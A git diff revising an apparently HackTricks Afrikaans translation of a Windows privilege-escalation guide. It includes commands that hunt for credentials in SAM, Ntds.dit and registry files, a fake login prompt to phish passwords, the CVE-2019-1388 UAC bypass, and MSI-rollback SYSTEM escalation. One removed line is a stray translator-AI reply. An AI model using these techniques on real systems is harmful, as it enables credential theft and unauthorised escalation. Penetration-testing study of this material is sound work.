sekuriteitsfoute gehad. Eerstens kon die Group Policy Objects (GPOs), wat as XML-lêers in SYSVOL gestoor is, deur enige domeingebruiker bereik word. Tweedens kon die wagwoorde binne hierdie GPP's, wat met AES256 versleuteld is met 'n publiek gedokumenteerde standaard sleutel, deur enige geauthentiseerde gebruiker ontsleuteld word. Dit het 'n ernstige risiko geskep, aangesien dit gebruikers kon toelaat om verhewe voorregte te verkry. -Om hierdie risiko te beperk is 'n funksie ontwikkel om plaaslik gecachte GPP-lêers te skandeer wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontsleutel die funksie die wagwoord en gee 'n pasgemaakte PowerShell-object terug. Hierdie object sluit besonderhede oor die GPP en die lêer se ligging in en help by die identifisering en hantering van hierdie sekuriteitskwessie. +Om hierdie risiko te beperk, is 'n funksie ontwikkel wat plaaslike, in die kas gestoor GPP-lêers skandeer wat 'n "cpassword"-veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontsleutel die funksie die wagwoord en gee 'n pasgemaakte PowerShell-objek terug. Hierdie objek bevat besonderhede oor die GPP en die lêer se ligging, wat help om hierdie sekuriteitskwessie te identifiseer en reg te stel. -Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (voor Windows Vista)_ vir hierdie lêers: +Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ vir hierdie lêers: - Groups.xml - Services.xml @@ -1042,7 +1075,7 @@ Gebruik crackmapexec om die passwords te kry: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Webkonfigurasie +### IIS Web-konfigurasie ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1056,7 +1089,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Voorbeeld van web.config met credentials: +Voorbeeld van web.config met inlogbesonderhede: ```xml @@ -1066,7 +1099,7 @@ Voorbeeld van web.config met credentials: ``` -### OpenVPN inlogbewyse +### OpenVPN-inlogbesonderhede ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1086,7 +1119,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Loglêers +### Logboeke ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1096,7 +1129,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Vra vir credentials -Jy kan altyd **die gebruiker vra om sy credentials in te voer of selfs die credentials van 'n ander gebruiker** as jy dink hy kan hulle ken (let wel dat dit regtig **riskant** is om die kliënt direk om die **credentials** te vra): +Jy kan altyd **die gebruiker vra om sy credentials in te voer of selfs die credentials van 'n ander gebruiker** as jy dink hy kan dit weet (let daarop dat dit regtig **riskant** is om die kliënt direk na die **credentials** te **vra**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1104,7 +1137,7 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Moontlike lêername wat credentials bevat** +### **Moontlike lêernamens wat credentials bevat** Bekende lêers wat 'n tyd gelede **passwords** in **clear-text** of **Base64** bevat het ```bash @@ -1170,7 +1203,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -I don't have the contents of src/windows-hardening/windows-local-privilege-escalation/README.md or the proposed files to search. Please paste the README.md (or the list of files) you want translated/searched, and I'll translate the relevant English text to Afrikaans per your guidelines. +Soek al die voorgestelde lêers: ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1179,15 +1212,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials in the RecycleBin +### Kredensiale in die RecycleBin -Jy moet ook die Bin nagaan om te soek na credentials daarin +Jy moet ook die Bin nagaan om na kredensiale daarin te soek -Vir die **recover passwords** wat deur verskeie programme gestoor is, kan jy gebruik maak van: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Om **wagwoorde te herstel** wat deur verskeie programme gestoor is, kan jy die volgende gebruik: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Inside the registry +### In die register -**Ander moontlike registry keys met credentials** +**Ander moontlike register-sleutels met kredensiale** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1198,9 +1231,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Blaaiergeskiedenis -Jy moet soek na databasisse waarin wagwoorde van **Chrome or Firefox** gestoor word. Kontroleer ook die geskiedenis, bladmerke en gunstelinge van die blaaiers — moontlik is sommige **wagwoorde** daar gestoor. +Jy moet kyk vir dbs waar wagwoorde van **Chrome or Firefox** gestoor word.\ +Kyk ook na die geskiedenis, bookmarks en favourites van die blaaiers — dalk is sommige **passwords are** daar gestoor. -Gereedskap om wagwoorde uit blaaiers te onttrek: +Gereedskap om passwords uit blaaiers te onttrek: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1209,25 +1243,26 @@ Gereedskap om wagwoorde uit blaaiers te onttrek: ### **COM DLL Overwriting** -**Component Object Model (COM)** is 'n tegnologie ingebou in die Windows-bedryfstelsel wat **interkommunikasie** tussen sagtewarekomponente in verskillende tale toelaat. Elke COM-komponent word **identified via a class ID (CLSID)** en elke komponent openbaar funksionaliteit via een of meer interfaces, geïdentifiseer via interface IDs (IIDs). +**Component Object Model (COM)** is 'n tegnologie ingebou in die Windows-bedryfstelsel wat interkommunikasie tussen sagtewarekomponente in verskillende tale toelaat. Elke COM-komponent word **identified via a class ID (CLSID)** en elke komponent stel funksionaliteit beskikbaar via een of meer interfaces, geïdentifiseer via interface IDs (IIDs). -COM classes and interfaces word in die register gedefinieer onder **HKEY\CLASSES\ROOT\CLSID** en **HKEY\CLASSES\ROOT\Interface** onderskeidelik. Hierdie register word geskep deur die samestelling van die **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM-klasse en interfaces word in die register gedefinieer onder **HKEY\CLASSES\ROOT\CLSID** en **HKEY\CLASSES\ROOT\Interface** onderskeidelik. Hierdie register word geskep deur die samestelling van **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Inside the CLSIDs of this registry kan jy die child registry **InProcServer32** vind wat 'n **default value** bevat wat na 'n **DLL** wys, en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) of **Neutral** (Thread Neutral) kan wees. +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -Basies, as jy die vermoë het om **overwrite any of the DLLs** wat uitgevoer gaan word, kan jy **escalate privileges** indien daardie DLL deur 'n ander gebruiker uitgevoer sal word. +Basies, as jy enige van die **overwrite any of the DLLs** wat uitgevoer gaan word kan oorskryf, kan jy **escalate privileges** as daardie DLL deur 'n ander gebruiker uitgevoer gaan word. Om te leer hoe aanvallers COM Hijacking as 'n persistence mechanism gebruik, kyk: + {{#ref}} com-hijacking.md {{#endref}} -### **Generiese wagwoordsoektog in lêers en register** +### **Generiese Password search in files and registry** -**Soek na lêerinhalte** +**Soek na lêerinhoude** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1248,11 +1283,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Gereedskap wat na passwords soek -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Ek het hierdie plugin geskep om outomaties elke metasploit POST-module wat na credentials binne die slagoffer soek, uit te voer.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) soek outomaties na al die lêers wat passwords bevat wat op hierdie bladsy genoem word.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is nog 'n uitstekende gereedskap om passwords uit 'n stelsel te onttrek. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Ek het hierdie plugin geskep om **automatically execute every metasploit POST module that searches for credentials** in die slagoffer uit te voer.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) soek outomaties na al die lêers wat passwords bevat wat op hierdie bladsy genoem word.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is nog 'n uitstekende hulpmiddel om passwords uit 'n stelsel te onttrek. -Die gereedskap [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessions**, **usernames** en **passwords** van verskeie tools wat hierdie data in clear text stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP) +Die tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessions**, **usernames** en **passwords** van verskeie tools wat hierdie data in duidelike teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1261,30 +1296,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Stel jou voor dat **'n proses wat as SYSTEM loop 'n nuwe proses open** (`OpenProcess()`) met **volle toegang**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat alle oop handles van die hoofproses erven**.\ -Dan, as jy **volle toegang tot die lae-voorregte proses** het, kan jy die **oop handle na die geprivilegieerde proses wat met `OpenProcess()` geskep is** gryp en **'n shellcode injekteer**.\ -[Lees hierdie voorbeeld vir meer inligting oor **hoe om hierdie kwesbaarheid te ontdek en te misbruik**.](leaked-handle-exploitation.md)\ -[Lees hierdie **ander pos vir 'n meer volledige verduideliking oor hoe om meer oop handles van prosesse en stringe wat geërf is met verskillende toestemmingsvlakke (nie net volle toegang) te toets en te misbruik**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Stel jou voor dat **'n proses wat as SYSTEM loop 'n nuwe proses open** (`OpenProcess()`) met **volledige toegang**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae regte maar wat al die open handles van die hoofproses erf**.\ +As jy dan **volledige toegang tot die lae-regte proses** het, kan jy die **open handle na die bevoegde proses wat met `OpenProcess()` geskep is** gryp en **inspuit 'n shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Gedeelde geheue-segmente, verwys na as **pipes**, maak proseskommunikasie en data-oordrag moontlik. +Gedeelde geheue-segmente, genoem **pipes**, maak proseskommunikasie en data-oordrag moontlik. -Windows bied 'n funksie genaamd **Named Pipes**, wat dit moontlik maak dat nie-verwante prosesse data deel, selfs oor verskillende netwerke. Dit lyk soos 'n client/server-argitektuur, met rolle gedefinieer as **named pipe server** en **named pipe client**. +Windows bied 'n funksie genaamd **Named Pipes** wat dit vir nie-verwante prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit lyk soos 'n client/server-argitektuur, met rolle gedefinieer as **named pipe server** en **named pipe client**. -Wanneer data deur 'n buis deur 'n **client** gestuur word, het die **server** wat die buis opgestel het die vermoë om die **identiteit** van die **client** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **geprivilegieerde proses** te identifiseer wat via 'n buis kommunikeer wat jy kan naboots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem wanneer dit met die buis wat jy opgestel het interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, is nuttige gidse beskikbaar [**hier**](named-pipe-client-impersonation.md) en [**hier**](#from-high-integrity-to-system). +Wanneer data deur 'n **client** via 'n pipe gestuur word, het die **server** wat die pipe opgestel het die vermoë om die **identiteit** van die **client** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **privileged process** wat via 'n pipe kommunikeer te identifiseer en na te boots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem wanneer dit met die pipe wat jy opgestel het interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, is nuttige gidse [**hier**](named-pipe-client-impersonation.md) en [**hier**](#from-high-integrity-to-system). -Ook maak die volgende hulpmiddel dit moontlik om **'n named pipe-kommunikasie te onderskep met 'n hulpmiddel soos burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel maak dit moontlik om alle pipes te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Die volgende hulpmiddel laat jou ook toe om **'n named pipe-kommunikasie te onderskep met 'n tool soos burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie tool laat toe om al die pipes te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Diverse +## Divers -### Lêeruitbreidings wat dinge in Windows kan uitvoer +### Lêeruitbreidings wat in Windows dinge kan uitvoer -Kyk na die bladsy **[https://filesec.io/](https://filesec.io/)** +Besigtig die bladsy **[https://filesec.io/](https://filesec.io/)** -### **Monitering van Command Lines vir wagwoorde** +### Monitering van opdragreëls vir wagwoorde -Wanneer jy 'n shell as 'n gebruiker kry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat **credentials op die command line deurgee**. Die onderstaande skrip vang proses command lines elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit. +When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. Die onderstaande skrip vang proses-opdragreëls elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit. ```bash while($true) { @@ -1294,15 +1329,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Wagwoorde steel uit prosesse +## Wagwoorde uit prosesse steel -## Vanaf Low Priv User na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Van Low Priv User na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC geaktiveer is, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" te laat loop vanaf 'n onbevoorregte gebruiker. +As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC aangeskakel is, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses, soos "NT\AUTHORITY SYSTEM", as 'n unprivileged user te laat loop. -Dit maak dit moontlik om privilegies te eskaleer en UAC terselfdertyd met dieselfde kwetsbaarheid te omseil. Daarbenewens is daar geen behoefte om enigiets te installeer nie en die binary wat gedurende die proses gebruik word, is deur Microsoft onderteken en uitgegee. +Dit maak dit moontlik om voorregte te eskaleer en UAC terselfdetyd te omseil met dieselfde kwesbaarheid. Boonop is dit nie nodig om iets te installeer nie, en die binary wat tydens die proses gebruik word, is deur Microsoft geteken en uitgereik. -Sommige van die geaffekteerde stelsels is die volgende: +Sommige van die aangetaste stelsels is die volgende: ``` SERVER ====== @@ -1324,7 +1359,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Om hierdie vulnerability te exploit, is dit nodig om die volgende stappe uit te voer: +Om hierdie kwesbaarheid uit te buit, is dit nodig om die volgende stappe uit te voer: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1342,152 +1377,152 @@ Om hierdie vulnerability te exploit, is dit nodig om die volgende stappe uit te 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -Jy het al die nodige lêers en inligting in die volgende GitHub-repository: +You have all the necessary files and information in the following GitHub repository: https://github.com/jas502n/CVE-2019-1388 -## Van Administrator Medium na High Integriteitsvlak / UAC Bypass +## Van Administrator Medium na High Integrity Level / UAC Bypass -Lees dit om meer te **leer oor Integriteitsvlakke**: +Lees dit om te **leer oor Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Lees dan **hieroor om te leer oor UAC en UAC bypasses:** +Lees dan dit om te **leer oor UAC en UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## Van Willekeurige Gids Verwyder/Skuif/Hernoem na SYSTEM EoP +## Van Arbitrary Folder Delete/Move/Rename na SYSTEM EoP -Die tegniek beskryf [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) met 'n exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Die tegniek wat beskryf word [**in hierdie blogpost**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) met 'n exploit code [**beskikbaar hier**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om legitieme lêers tydens die deïnstallasieproses met kwaai lêers te vervang. Hiervoor moet die aanvaller 'n **kwaai MSI-installer** skep wat gebruik sal word om die `C:\Config.Msi` gids te kap, wat later deur die Windows Installer gebruik sal word om rollback-lêers te stoor tydens die deïnstallasie van ander MSI-pakkette waar die rollback-lêers aangepas sou wees om die kwaai payload te bevat. +Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om wettige lêers deur kwaadwillige te vervang tydens die uninstall-proses. Hiervoor moet die aanvaller 'n **malicious MSI installer** skep wat gebruik sal word om die `C:\Config.Msi` folder te hijack, wat later deur die Windows Installer gebruik sal word om rollback-lêers te stoor tydens die uninstallation van ander MSI-pakkette waar die rollback-lêers gewysig sou wees om die kwaadwillige payload te bevat. -Die samevattende tegniek is soos volg: +Die opgesomde tegniek is soos volg: -1. **Fase 1 – Voorbereiding vir die Kaping (laat `C:\Config.Msi` leeg)** +1. **Fase 1 – Voorbereiding vir die Hijack (laat `C:\Config.Msi` leeg)** - Stap 1: Installeer die MSI -- Skep 'n `.msi` wat 'n onskadelike lêer (bv. `dummy.txt`) in 'n skryfbare gids (`TARGETDIR`) installeer. -- Merk die installer as **"UAC Compliant"**, sodat 'n **nie-admin gebruiker** dit kan uitvoer. -- Hou 'n **handle** oop na die lêer ná installasie. +- Skep 'n `.msi` wat 'n onskuldige lêer (bv. `dummy.txt`) in 'n skryfbare gids (`TARGETDIR`) installeer. +- Merk die installer as **"UAC Compliant"**, sodat 'n **non-admin user** dit kan uitvoer. +- Hou 'n **handle** oop na die lêer na die install. -- Stap 2: Begin Deïnstallasie -- Deïnstalleer dieselfde `.msi`. -- Die deïnstallasieproses begin lêers na `C:\Config.Msi` skuif en hernoem na `.rbf` lêers (rollback-rugsteunkopieë). -- **Poll die oop file handle** met `GetFinalPathNameByHandle` om te ontdek wanneer die lêer `C:\Config.Msi\.rbf` word. +- Stap 2: Begin Uninstall +- Uninstall dieselfde `.msi`. +- Die uninstall-proses begin lêers na `C:\Config.Msi` skuif en hulle hernoem na `.rbf` lêers (rollback backups). +- **Poll die oop file handle** met `GetFinalPathNameByHandle` om te detekteer wanneer die lêer `C:\Config.Msi\.rbf` word. -- Stap 3: Aangepaste Sinchronisering -- Die `.msi` sluit 'n **aangepaste uninstall action (`SyncOnRbfWritten`)** in wat: -- Sein wanneer die `.rbf` geskryf is. -- Dan **wag** op 'n ander gebeurtenis voordat dit voortgaan met die deïnstallasie. +- Stap 3: Custom Syncing +- Die `.msi` sluit 'n **custom uninstall action (`SyncOnRbfWritten`)** in wat: +- Gee 'n sein wanneer `.rbf` geskryf is. +- Wag dan op 'n ander event voordat die uninstall voortgaan. -- Stap 4: Blokkeer Verwydering van `.rbf` -- Wanneer gesignaleer, **open die `.rbf` lêer** sonder `FILE_SHARE_DELETE` — dit **voorkom dat dit uitgevee word**. -- Dan **seine terug** sodat die deïnstallasie kan klaarmaak. -- Windows Installer kan die `.rbf` nie uitvee nie, en omdat dit nie al die inhoud kan verwyder nie, **word `C:\Config.Msi` nie verwyder nie**. +- Stap 4: Blokkeer verwydering van `.rbf` +- Wanneer ge-sein, **open die `.rbf` lêer** sonder `FILE_SHARE_DELETE` — dit **voorkom dat dit verwyder word**. +- Signaleer dan terug sodat die uninstall kan klaarmaak. +- Windows Installer misluk om die `.rbf` te verwyder, en omdat dit nie al die inhoud kan verwyder nie, **word `C:\Config.Msi` nie verwyder nie**. -- Stap 5: Vee `.rbf` Handmatig Uit -- Jy (aanvaller) vee die `.rbf` lêer handmatig uit. -- Nou is **`C:\Config.Msi` leeg**, gereed om gekaap te word. +- Stap 5: Vee `.rbf` handmatig uit +- Jy (aanvaller) verwyder die `.rbf` lêer handmatig. +- Nou is **`C:\Config.Msi` leeg**, gereed om gehijack te word. > Op hierdie punt, **trigger die SYSTEM-level arbitrary folder delete vulnerability** om `C:\Config.Msi` te verwyder. -2. **Fase 2 – Vervanging van Rollback-skripte met Kwaai Skripte** +2. **Fase 2 – Vervanging van rollback-skripte met kwaadwillige eenes** -- Stap 6: Hernoem `C:\Config.Msi` met Swak ACLs -- Hernoem die `C:\Config.Msi` gids self. -- Stel **swak DACLs** in (bv. Everyone:F), en **hou 'n handle oop** met `WRITE_DAC`. +- Stap 6: Hermaak `C:\Config.Msi` met Weak ACLs +- Hermaak die `C:\Config.Msi` gids self. +- Stel **weak DACLs** (bv. Everyone:F), en **hou 'n handle oop** met `WRITE_DAC`. -- Stap 7: Voer Nog 'n Installasie uit +- Stap 7: Voer nog 'n install uit - Installeer die `.msi` weer, met: -- `TARGETDIR`: skryfbare ligging. -- `ERROROUT`: 'n veranderlike wat 'n geforseerde mislukking veroorsaak. -- Hierdie installasie sal gebruik word om weer **rollback** te trigger, wat `.rbs` en `.rbf` sal lees. +- `TARGETDIR`: Skryfbare ligging. +- `ERROROUT`: 'n veranderlike wat 'n gedwonge mislukking veroorsaak. +- Hierdie install sal gebruik word om weer **rollback** te trigger, wat `.rbs` en `.rbf` lees. - Stap 8: Monitor vir `.rbs` - Gebruik `ReadDirectoryChangesW` om `C:\Config.Msi` te monitor totdat 'n nuwe `.rbs` verskyn. -- Vang die lêernaam vas. +- Vang sy lêernaam op. -- Stap 9: Sinchroniseer Voor Rollback -- Die `.msi` bevat 'n **aangepaste install action (`SyncBeforeRollback`)** wat: -- 'n gebeurtenis sein wanneer die `.rbs` geskep is. -- Dan **wag** voordat dit voortgaan. +- Stap 9: Sync voor rollback +- Die `.msi` bevat 'n **custom install action (`SyncBeforeRollback`)** wat: +- Gee 'n sein wanneer die `.rbs` geskep word. +- Wag dan voordat dit voortgaan. -- Stap 10: Herstel Swak ACL -- Nadat jy die “`.rbs created`” sein ontvang het: -- Die Windows Installer **herstel sterk ACLs** op `C:\Config.Msi`. -- Maar omdat jy steeds 'n handle met `WRITE_DAC` het, kan jy weer **swak ACLs toepas**. +- Stap 10: Reapply Weak ACL +- Nadat die `.rbs created` sein ontvang is: +- Die Windows Installer **herpas sterk ACLs** op `C:\Config.Msi`. +- Maar aangesien jy nog 'n handle met `WRITE_DAC` het, kan jy weer **reapply weak ACLs**. -> ACLs word **slegs op handle-open afgedwing**, so jy kan steeds na die gids skryf. +> ACLs word **slegs toegepas tydens handle open**, so jy kan steeds na die gids skryf. -- Stap 11: Plaas Vals `.rbs` en `.rbf` -- Oorskryf die `.rbs` lêer met 'n **valse rollback-skrip** wat Windows vertel om: -- Jou `.rbf` lêer (kwaai DLL) in 'n **bevoorregte ligging** te herstel (bv. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Jou valse `.rbf` neer te sit wat 'n **kwaai SYSTEM-vlak payload DLL** bevat. +- Stap 11: Plaas nep `.rbs` en `.rbf` +- Oorskryf die `.rbs` lêer met 'n **fake rollback script** wat Windows sê om: +- Herstel jou `.rbf` lêer (malicious DLL) na 'n **geprivilegieerde ligging** (bv. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Plaas jou fake `.rbf` wat 'n **malicious SYSTEM-level payload DLL** bevat. - Stap 12: Trigger die Rollback -- Seine die sinchroniseergebeurtenis sodat die installer voortgaan. -- 'n **type 19 custom action (`ErrorOut`)** is gekonfigureer om die install doelbewus op 'n bekende punt te laat misluk. +- Sein die sync-event sodat die installer hervat. +- 'n **type 19 custom action (`ErrorOut`)** is ge-konfigureer om die install **bewuslik te laat misluk** op 'n bekende punt. - Dit veroorsaak dat **rollback begin**. -- Stap 13: SYSTEM Installeer Jou DLL +- Stap 13: SYSTEM installeer jou DLL - Windows Installer: -- Lees jou kwaai `.rbs`. -- Kopieer jou `.rbf` DLL in die teikengebied. -- Jy het nou jou **kwaai DLL in 'n SYSTEM-gelaaide pad**. +- Lees jou kwaadwillige `.rbs`. +- Kopieer jou `.rbf` DLL na die teiken-ligging. +- Jy het nou jou **malicious DLL in 'n SYSTEM-loaded pad**. - Finale Stap: Voer SYSTEM-kode uit -- Voer 'n vertroude **auto-elevated binary** uit (bv. `osk.exe`) wat die DLL laai wat jy gekaap het. +- Voer 'n betroubare **auto-elevated binary** (bv. `osk.exe`) uit wat die DLL wat jy gehijack het laai. - **Boom**: Jou kode word uitgevoer **as SYSTEM**. -### Van Arbitrêre Lêer Verwyder/Skuif/Hernoem na SYSTEM EoP +### Van Arbitrary File Delete/Move/Rename na SYSTEM EoP -Die hoof MSI-rollback tegniek (hierbo) veronderstel dat jy 'n **hele gids** kan uitvee (bv. `C:\Config.Msi`). Maar wat as jou kwesbaarheid slegs **arbitrary file deletion** toelaat? +Die hoof MSI rollback-tegniek (hierbo) neem aan jy kan 'n **hele gids** (bv. `C:\Config.Msi`) uitvee. Maar wat as jou kwetsbaarheid slegs **arbitrary file deletion** toelaat? -Jy kan NTFS-internals misbruik: elke gids het 'n verborge alternatiewe data-stroom genaamd: +Jy kan **NTFS internals** misbruik: elke gids het 'n verborgen alternate data stream genaamd: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Hierdie stroom stoor die **indeksmetadata** van die gids. +Hierdie stroom berg die **indeksmetadata** van die vouer. -Dus, as jy **die `::$INDEX_ALLOCATION` stroom verwyder** van 'n gids, verwyder NTFS **die hele gids** uit die lêerstelsel. +Dus, as jy **die `::$INDEX_ALLOCATION` stroom verwyder** van 'n vouer, sal NTFS **die hele vouer** uit die lêerstelsel verwyder. -Jy kan dit doen met standaard lêerverwyderings-APIs soos: +Jy kan dit doen met behulp van standaard lêer-verwyderings-API's soos: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Alhoewel jy 'n *file* delete API aanroep, verwyder dit **die folder self**. +> Alhoewel jy 'n *file* delete API aanroep, verwyder dit **die vouer self**. ### Van Folder Contents Delete na SYSTEM EoP -Wat as jou primitive jou nie toelaat om arbitrêre files/folders te verwyder nie, maar dit **laat wel die verwydering toe van die *contents* van 'n aanvaller-beheerde folder**? +Wat as jou primitive jou nie toelaat om arbitrêre lêers/gidse te verwyder nie, maar dit **laat wel die verwydering van die *inhoud* van 'n deur-aanvaller-beheerde vouer toe**? -1. Stap 1: Stel 'n lok-folder en file op -- Create: `C:\temp\folder1` -- Daarin: `C:\temp\folder1\file1.txt` +1. Stap 1: 